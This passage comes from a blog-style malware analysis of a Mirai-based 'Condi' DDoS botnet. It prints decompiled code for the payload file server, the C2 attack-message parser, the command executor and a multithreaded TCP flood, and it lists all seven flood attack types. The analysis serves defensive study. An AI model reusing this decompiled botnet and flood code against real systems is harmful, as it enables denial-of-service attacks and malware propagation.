write_wrapper(fileHandle,readBuf,bytesDownloaded);
uVar1 = extraout_ECX_01;
}
close_w(fileHandle);
close_w(sockfd);
return;
}
}
}
close_w(sockfd);
close_w(fileHandle);
}
return;
}
|
The start_fileserver() function will start a listener on a random port, then call pull_file_from_remote() on each malware file (again, forgetting x86), and then enters an accept() while loop that accepts an HTTP request and passes it to serve_file_web().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
| void start_fileserver(ushort port)
{
int forkPid;
int sockFd;
uint nBytes;
int connFd;
undefined4 extraout_ECX;
undefined4 extraout_ECX_00;
undefined4 uVar1;
undefined4 uVar2;
uint uVar3;
char recvBuf [1024];
sockaddr_in sa;
socklen_t sockLen [2];
sockLen[0] = 0x10;
forkPid = custom_fork();
/* parent returns */
if (forkPid != 0) {
_listenerPid = forkPid;
return;
}
sa.sin_family = 2;
sa.sin_addr.s_addr = 0;
sa.sin_port = port >> 8 | port << 8;
sockFd = socket(AF_INET,SOCK_STREAM,0);
if (sockFd == -1) {
/* WARNING: Subroutine does not return */
exit(0);
}
sockLen[1] = 1;
forkPid = setsockopt(sockFd,SOL_SOCKET,SO_REUSEADDR,sockLen + 1,4);
if (-1 < forkPid) {
forkPid = bind(sockFd,(sockaddr *)&sa,sockLen[0]);
if ((forkPid == 0) && (forkPid = listen(sockFd,5), forkPid == 0)) {
pull_file_from_remote("arm");
pull_file_from_remote("arm7");
pull_file_from_remote("mips");
pull_file_from_remote("mipsel");
pull_file_from_remote("x86_64");
pull_file_from_remote("sh4");
pull_file_from_remote("ppc");
pull_file_from_remote("m68k");
uVar1 = extraout_ECX;
while (connFd = accept_w(sockFd,&sa,sockLen,uVar1), connFd != -1) {
uVar2 = 0x400;
uVar1 = 0;
uVar3 = connFd;
memset(recvBuf,'\0',0x400);
nBytes = recv_w(connFd,recvBuf,0x400,0);
if (0 < (int)nBytes) {
serve_file_web(connFd,recvBuf,nBytes);
uVar2 = 0x400;
uVar1 = 0;
memset(recvBuf,'\0',0x400);
uVar3 = nBytes;
}
close_w(connFd,uVar1,uVar2,uVar3);
uVar1 = extraout_ECX_00;
}
}
}
close_w(sockFd);
/* WARNING: Subroutine does not return */
exit(0);
}
|
serve_file_web() pretends to be an Apache server and will respond with file contents of any directly requested file. The original purpose of this is to allow infected devices to propagate and infect other devices on the same network, allowing it to serve additional copies of the malware so they can be sent over the network. However, this botnet does not have this capability but still retains the file server component.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
| void serve_file_web(int connFd,char *buf,uint size)
{
blkcnt_t len;
char *url;
uint ret;
char *path;
int fileFd;
int length;
undefined4 extraout_EDX;
undefined8 uVar1;
undefined1 auStack_47c [8];
undefined1 *local_474;
char acStack_470 [8];
char fstrBuf [1024];
stat_p stats;
blkcnt_t blocks;
local_474 = auStack_47c;
url = strip_method_from_request(buf);
ret = stat(url,&stats);
/* 404 */
if ((int)ret < 0) {
length = strlen_o("HTTP/1.1 404 Not Found");
write_wrapper(connFd,"HTTP/1.1 404 Not Found",length);
write_wrapper(connFd,"\r\n",2);
length = strlen_o("Server: Apache");
write_wrapper(connFd,"Server: Apache",length);
write_wrapper(connFd,"\r\n",2);
length = strlen_o("Content-Length: ");
write_wrapper(connFd,"Content-Length: ",length);
sprintf(fstrBuf," %d\n\r\n",stats.st_blocks);
length = strlen_o(fstrBuf);
write_wrapper(connFd,fstrBuf,length);
memset(fstrBuf,'\0',0x400);
}
else {
memset(fstrBuf,'\0',0x400);
length = strlen_o("HTTP/1.1 200 OK");
write_wrapper(connFd,"HTTP/1.1 200 OK",length,ret);
write_wrapper(connFd,"\r\n",2);
length = strlen_o("Server: Apache");
write_wrapper(connFd,"Server: Apache",length);
write_wrapper(connFd,"\r\n",2);
length = strlen_o("Content-Length: ");
write_wrapper(connFd,"Content-Length: ",length);
sprintf(fstrBuf," %d\n\r\n",stats.st_blocks);
length = strlen_o(fstrBuf);
write_wrapper(connFd,fstrBuf,length);
url = memset(fstrBuf,'\0',0x400);
len = stats.st_blocks;
url = url + -256;
blocks = stats.st_blocks;
memset(acStack_470,'\0',stats.st_blocks);
path = strip_method_from_request(buf);
fileFd = open_w(path,0,blocks,url);
if ((fileFd != -1) &&
(uVar1 = read_w(fileFd,acStack_470,stats.st_blocks,extraout_EDX),
(int)uVar1 == stats.st_blocks)) {
write_wrapper(connFd,acStack_470,uVar1);
memset(acStack_470,'\0',len);
}
}
return;
}
|
Back in the main while loop, the last function of interest is the attack_handler(), which will parse any message whose first 3 bytes don’t match the previous commands. The attack handler is another large component, so I’ll split it into chunks. A lot of the logic goes into converting bytes on a wire in big-endian form into little-endian structs for use in the program. The message is formatted as:
1
2
3
4
5
6
| struct __attribute__((packed)) messageStruct {
unsigned int timeout;
char cmd_id;
char num;
lookupData_PACKED contents[]; // There are a 'num' number of lookupDatas
};
|
The lookupData data type is used by the program to pack a bunch of arguments for its attack types into a single array of structs. The message itself is “packed” because its a bytestream, but in the actual program it’s a standard 4-byte aligned struct that is defined as:
1
2
3
4
| struct lookupData {
int data;
char identifier;
};
|
Essentially, all data passed into the different attack types has an ID that identifies it in the array, followed by an int that is the actual data. This will be more important once we look at the attacks themselves, but for now we can pick apart the handler.
The first thing it does is assign all struct fields to local variables, and then it will start assigning the target. An important caveat is that contents is not actually the lookupData type just yet. It’s a slightly modified sockaddr_in object for now, and its the list of targets that our attacks will hit (num is also the number of targets for now).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
| void attack_handler(messageStruct *msg,uint size)
{
byte command_id;
uint targetCount;
sin_compact *targets;
int *piVar1;
char *dataBuf;
sin_compact *cur;
uint dataCount_;
uint dataLen_;
uint timeout;
int bytesLeft;
byte *dataStream;
uint i;
byte dataCount;
lookupData *data;
byte dataLen;
byte numData;
uint bytesRemaining;
lookupData *curData;
uint expectedBytes;
uint plVar6;
int *pbVar5;
byte *nextData;
byte *ID;
int curWire;
byte numTargets;
lookupData_PACKED *wireData;
if (size < 4) {
return;
}
timeout._0_2_ = (ushort)msg->timeout;
timeout._2_2_ = (ushort)(msg->timeout >> 0x10);
timeout._0_2_ = (ushort)timeout >> 8 | (ushort)timeout << 8;
if (size == 4) {
return;
}
command_id = msg->cmd_id;
if (size == 5) {
return;
}
numTargets = msg->num;
/* need msg.len > 5 */
if (numTargets == 0) {
return;
}
targetCount = (uint)numTargets;
bytesRemaining = size - 6;
if (bytesRemaining < targetCount * 5) {
return;
}
wireData = &msg->contents;
/* allocate targetCount target objects */
targets = (sin_compact *)calloc(targetCount,0x18);
/* this ALWAYS fires because of ==0 check on line 44 */
if (targetCount != 0) {
/* assign targets array */
cur = targets;
do {
curWire = wireData->data;
*(int *)(cur->padding + 8) = curWire;
ID = &wireData->identifier;
/* get next data */
wireData = wireData + 1;
cur->padding[0xc] = *ID;
cur->sin_family = AF_INET;
cur->sin_addr = curWire;
cur = cur + 1;
} while (wireData != &msg->contents + targetCount);
bytesRemaining = (size + targetCount * -5) - 6;
}
|
Once we have our targets assigned, we can now begin assigning that data we talked about earlier to the actual lookupData objects. It performs a standard assignment loop, checking to make sure there are enough bytes left in the message to keep going, and then assigns the corresponding identifier and data. After getting the targets and data set, it calls execute_command() to spin off the attack based on the command_id.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
| /* wireData is now an 8-byte lookupData entry (not PACKED), any references are
wrong type and field now because msg is a bytestream rather than an actual
struct */
data = (lookupData *)0x0;
if (bytesRemaining == 0) goto cleanup;
dataCount = (byte)wireData->data;
if (dataCount == 0) {
numData = 0;
}
else {
/* assign data */
dataCount_ = (uint)dataCount;
data = (lookupData *)calloc(dataCount_,8);
numData = dataCount;
if (dataCount_ != 0) {
if ((bytesRemaining == 1) ||
(data->identifier = *(byte *)((int)&wireData->data + 1), bytesRemaining == 2))
goto cleanup;
dataLen = *(byte *)((int)&wireData->data + 2);
dataLen_ = (uint)dataLen;
bytesLeft = bytesRemaining - 3;
if (bytesLeft < (int)dataLen_) goto cleanup;
dataStream = (byte *)((int)&wireData->data + 3);
i = 0;
curData = data;
while( true ) {
dataBuf = (char *)calloc(dataLen_ + 1,1);
curData->str = dataBuf;
strncpy(dataBuf,(char *)dataStream,dataLen_);
i = i + 1;
if (i == dataCount_) break;
curWire = bytesLeft - dataLen_;
if (curWire == 0) goto cleanup;
curData = data + i;
nextData = dataStream + dataLen;
data[i].identifier = *nextData;
if (curWire == 1) goto cleanup;
dataLen = nextData[1];
bytesLeft = curWire + -2;
dataLen_ = (uint)dataLen;
if (bytesLeft < (int)dataLen_) goto cleanup;
dataStream = nextData + 2;
}
}
}
piVar1 = get_errno_ref();
*piVar1 = 0;
execute_command(CONCAT22((ushort)timeout,timeout._2_2_ >> 8 | timeout._2_2_ << 8),command_id,
numTargets,targets,numData,data);
|
We have finally reached the point where we use those global function pointers command_init() set so long ago. execute_command() is a wrapper for these commands and starts them as a service. It fork()’s to continue execution, followed by another fork() where the child will wait until timeout expires before killing the parent. The parent will execute the command/attack based on the command_id. The rest of the arguments are simply passed into the selected attack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
| void execute_command(uint timeout,char command_id,byte numTargets,sin_compact *targetList,
byte numData,lookupData *data)
{
int pid;
__pid_t ppid;
command_handler *func;
char cid;
uint counter;
pid = custom_fork();
/* parent or error returns */
if ((pid == -1) || (0 < pid)) {
return;
}
pid = custom_fork();
if (pid != -1) {
if (pid == 0) {
/* child: kill parent after delay */
sleep(timeout);
ppid = getppid();
kill(ppid,9);
/* WARNING: Subroutine does not return */
exit_w(0);
}
/* find and execute command by command_id */
if (command_count != 0) {
func = (command_handler *)commands->handler_func;
cid = func->command_id;
counter = 0;
while (command_id != cid) {
if (counter + 1 == (uint)command_count) goto exit;
func = *(command_handler **)(&commands->command_id + counter * 4);
counter = counter + 1;
cid = func->command_id;
}
(*func->handler_func)(numTargets,targetList,numData,data);
}
}
exit:
/* WARNING: Subroutine does not return */
exit_w(0);
}
|
There are 7 attack types, as mentioned previously and I won’t go into detail on every one of them, but I will go through the overarching theme and use a few as an example. The 7 attack types are:
- 0:
UDP_DoS_v1 - 1:
fast_raw_TCP_DoS - 2:
random_raw_TCP_DoS - 3:
mthread_UDP_DoS - 4:
mthread_fast_raw_TCP_DoS - 5:
UDP_DoS_v2 - 6:
mthread_TCP_DoS
They are all called with the same arguments (numTargets, targets, numData, data), and then parse the data into options, I’ll use command_6() (or mthread_TCP_DoS) as an example. I also have comments above the function definitions that outline the command options with their ID followed by their function and their default value.
Starting off, each attack will load the data, assign variables, and allocate buffers if it needs them.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| /* mthread_TCP_DoS {
0: bufSize = 900,
7: dstPort = 0x65535,
26: randomSize = 1 } */
void command_6(byte numTargets,weird_sockaddr_in *targets,byte numData,lookupData *data)
{
long randomSize;
uint bufSize;
long dstPort;
byte *buf;
cmd6data *args;
cmd6data *next;
int i;
pthread_t *thread;
cmd6data dataStore;
pthread_t threads [5000];
undefined4 local_20;
int zero_a;
int zero_b;
in_addr_t dstIP;
int i_timesFour;
randomSize = dynamic_load_num(numData,data,0x1a,1);
bufSize = dynamic_load_num(numData,data,0,900);
dstPort = dynamic_load_num(numData,data,7,0xffff);
dstIP = targets->targetIP;
buf = (byte *)calloc(bufSize & 0xffff,1);
get_random_bytes(buf,bufSize & 0xffff);
args = &dataStore;
thread = threads;
|
This dynamic_load_num() function is very straightforward, taking the numData size of data, followed by data, then the option ID we’re looking for, and then a default value if it can’t find it. The first one will look for option ID 0x1a (26) and assign it to randomSize, but if it can’t find it, it’ll assign 1 to it.
The mthread or multi-threaded functions have structs to hold their arguments in since you can only pass a single argument into a thread when it gets created. In this case, it assigns the target IP and port, followed by other options in the function call.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| do {
(args->target).sin_family = AF_INET;
(args->target).sin_port = (ushort)dstPort >> 8 | (ushort)dstPort << 8;
(args->target).sin_addr.s_addr = dstIP;
*(int *)(args->target).sin_zero = zero_a;
args->buf = buf;
*(int *)((args->target).sin_zero + 4) = zero_b;
args->size = (short)bufSize;
args->randomSize = (byte)randomSize;
next = args + 1;
pthread_create(thread,(pthread_attr_t *)0x0,connect_and_DoS,args);
args = next;
thread = thread + 1;
} while (next != (cmd6data *)threads);
|
The connect_and_DoS() function establishes a non-blocking connection to the target, waits until its been established (for up to 5 seconds, then it quits) and then will send junk bytes forever.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
| void connect_and_DoS(cmd6data *args)
{
uint uVar1;
byte *pbVar2;
int sockfd;
int *errno;
int connRes;
time_t timeStart;
time_t timeEnd;
int bytesSent;
uint bufSize;
int fdsSize;
__fd_mask *zero_macro;
undefined8 selectRes;
void **__thread_return;
fd_set writeFds;
timespec timeout;
socklen_t optLen;
int sockError;
cmd6data *args_;
__thread_return = (void **)0x1;
sockfd = socket(AF_INET,SOCK_STREAM,0);
if (sockfd == -1) {
/* WARNING: Subroutine does not return */
pthread_join(0,__thread_return);
}
bufSize = fcntl_w(sockfd,F_GETFL,0);
fcntl_w(sockfd,F_SETFL,bufSize | O_NONBLOCK);
errno = get_errno_ref();
*errno = 0;
args_ = args;
connRes = connect_w(sockfd,args,0x10);
if ((connRes == -1) && (*errno == EINPROGRESS)) {
sockError = 0;
optLen = 4;
timeStart = time((time_t *)0x0);
while( true ) {
fdsSize = 0x20;
zero_macro = writeFds.fds_bits;
for (; fdsSize != 0; fdsSize = fdsSize + -1) {
*zero_macro = 0;
zero_macro = zero_macro + 1;
}
pbVar2 = (byte *)((int)writeFds.fds_bits +
((int)(sockfd & 0x1fU) >> 3) + ((uint)sockfd >> 5) * 4);
*pbVar2 = *pbVar2 | '\x01' << (sockfd & 7U);
timeout.tv_nsec = 10;
timeout.tv_sec = 0;
selectRes = select(sockfd + 1,(fd_set *)0x0,&writeFds,(fd_set *)0x0,&timeout);
if ((int)selectRes == 1) break;
if (((int)selectRes == -1) || (timeEnd = time((time_t *)0x0), timeStart + 5 < timeEnd))
goto exit;
}
getsockopt(sockfd,SOL_SOCKET,SO_ERROR,&sockError,&optLen);
if (sockError == 0) {
if (args->randomSize != 0) {
bufSize = rand();
uVar1._0_2_ = args->size;
uVar1._2_1_ = args->randomSize;
uVar1._3_1_ = args->param_0x17;
bufSize = bufSize % ((uVar1 & 0xffff) - 500) + 501;
args->size = (short)bufSize;
goto sendLoop;
}
do {
bufSize._0_2_ = args->size;
bufSize._2_1_ = args->randomSize;
bufSize._3_1_ = args->param_0x17;
sendLoop:
while( true ) {
args_ = (cmd6data *)args->buf;
bytesSent = send_w(sockfd,args_,bufSize & 0xffff,MSG_NOSIGNAL);
if (bytesSent == -1) break;
bufSize._0_2_ = args->size;
bufSize._2_1_ = args->randomSize;
bufSize._3_1_ = args->param_0x17;
}
} while (*errno == EAGAIN);
}
}
exit:
close_w(sockfd);
/* WARNING: Subroutine does not return */
pthread_join(0,(void **)args_);
}
|
After creating all its threads, it will attempt to thread_join() them all in a do-while loop that lasts 5000 cycles. Interestingly, I don’t think it ever creates 5000 threads because of how the previous do-while loop is set up, and it definitely doesn’t shift to more than one target since it only looks at the first one.
The other attacks work similarly, some of them properly handle multiple targets and others do not. Some do proper threading, others do not. The ones without threading typically iterate through the target list on repeat, sending junk bytes until the execute_command() function kills them. The “fast” ones use unallocated buffers for their data, while the “random” ones will generate random bytes. “raw” attacks manually construct an IPv4 TCP frame with customizable parameters and then send that junk data to an endpoint.
If you are curious, you may once again look through my Ghidra project file. The rest of the attacks are similar, but worth looking through on your own. I will, however, mention some of my other favorite mistakes in this malware.
command_4() calls a bunch of the dynamic_load_num() functions, but never assigns their values to anything, nor does it setup the packet to try and use these values.command_1() attempts to set values to rand() if they are default, but doesn’t use the right default value when checking the sourceIP or ackNum, both of which do not get set to -1 by default, but the application sets them so accordingly. Source IP isn’t bad since it gets set to a value anyway, but the ackNum never gets set at all, so it will only ever be non-zero if explicitly declared to be -1 (or 65535), in which case it gets set to a random value :)UDP_DoS_v1 (command_0()) is just a worse version of UDP_DoS_v2 (command_5()), probably an older version of the same function. The “version 2” properly handles memory leaks and pays attention to return values regarding socket calls, freeing resources and restarting if there are any errors with the socket.command_2() has a genRandom toggle to decide whether the client should spend time generating random bytes, but the command will always generate random bytes since it does so in setting up the packet objects. It does it twice if the genRandom toggle is on, wasting even more time and resources for no reason.
It’s clear that this piece of malware serves entirely one purpose, which is to be botnet for DDoS attacks and offer a bunch of toggles to supposedly circumvent a WaF or Cloudflare-like technology. There are a few fun details and features, as well as some rudimentary anti-analysis techniques but not much in the way of obfuscation besides stripping the binary and a few weird choices. It was fun to take a crack at finally ripping apart a piece of software like this, but after a long week’s worth of effort I finally decided to look up the details about this “Condi” and try and confirm my findings.
Spoilers#
There is a much more concise article written by Fortinet’s FortiGuard Labs that tells you everything you need to know about this specific malware campaign, and it was my first source of information for “professional research” into this specific piece of software that ended up on my porch.
Sure enough, the author goes by “zxcr9999” and runs a Telegram channel where you can buy or rent the botnet. They even have a GitHub page! As of writing this their webstore advertises the source code for Condi Botnet v10, as well as a Linux 0-day, for $100 and $1000, respectively. On the GitHub, they host (for free) the Condi Botnet v9.2 source code, which looks like a newer version of the sample I picked up.
However, a lot of this code is actually almost entirely the Mirai source code, which was leaked by the author themselves after people started paying more attention to IoT devices and the botnet was weakening.
If I may speculate, I assume some “jack5tr” bought the source code or rented part of the botnet, and used that “vietnamddns” website as their C2. The “zxcr9999” they bought it from probably capitalized on some router or other device vulnerability and chopped together a version of Mirai that they could resell. Strangely, the version I got has less features than the original Mirai source code and doesn’t work nearly as well, but I can’t exactly feel bad for any of the people in this supply chain.
It is a little disheartening to realize that the ELF I spent so long decompiling actually has publicly available source code, but it is nice to go back and compare my work against it to see what I may have missed.
For instance, there’s a few lines that look like this:
1
2
3
4
5
6
7
8
9
| if (canSend == false) {
write_fds[((int)(sock & 0x1fU) >> 3) + ((uint)sock >> 5) * 4 + -0x80] =
write_fds[((int)(sock & 0x1fU) >> 3) + ((uint)sock >> 5) * 4 + -0x80] |
'\x01' << (sock & 7U);
}
else {
write_fds[((int)(sock & 0x1fU) >> 3) + ((uint)sock >> 5) * 4] =
write_fds[((int)(sock & 0x1fU) >> 3) + ((uint)sock >> 5) * 4] | '\x01' << (sock & 7U);
}
|
I figured they must be some weird compiler artifact or rudimentary obfuscation, but it turns out that this is the expanded form of the FD_SET() macro. Original source below.
1
2
3
4
| if (pending_connection)
FD_SET(fd_serv, &fdsetwr);
else
FD_SET(fd_serv, &fdsetrd);
|
The attack code is also worth looking at, since it lines up fairly well with my decompilation of all the command_init(), attack_handler(), and execute_command() functions.
Next time, I plan on reverse-engineering some x86_64 malware since that’s assembly I’m more used to. Besides, I still have seven more samples in my backlog that I need to get through and plenty of summer left to reverse engineer them.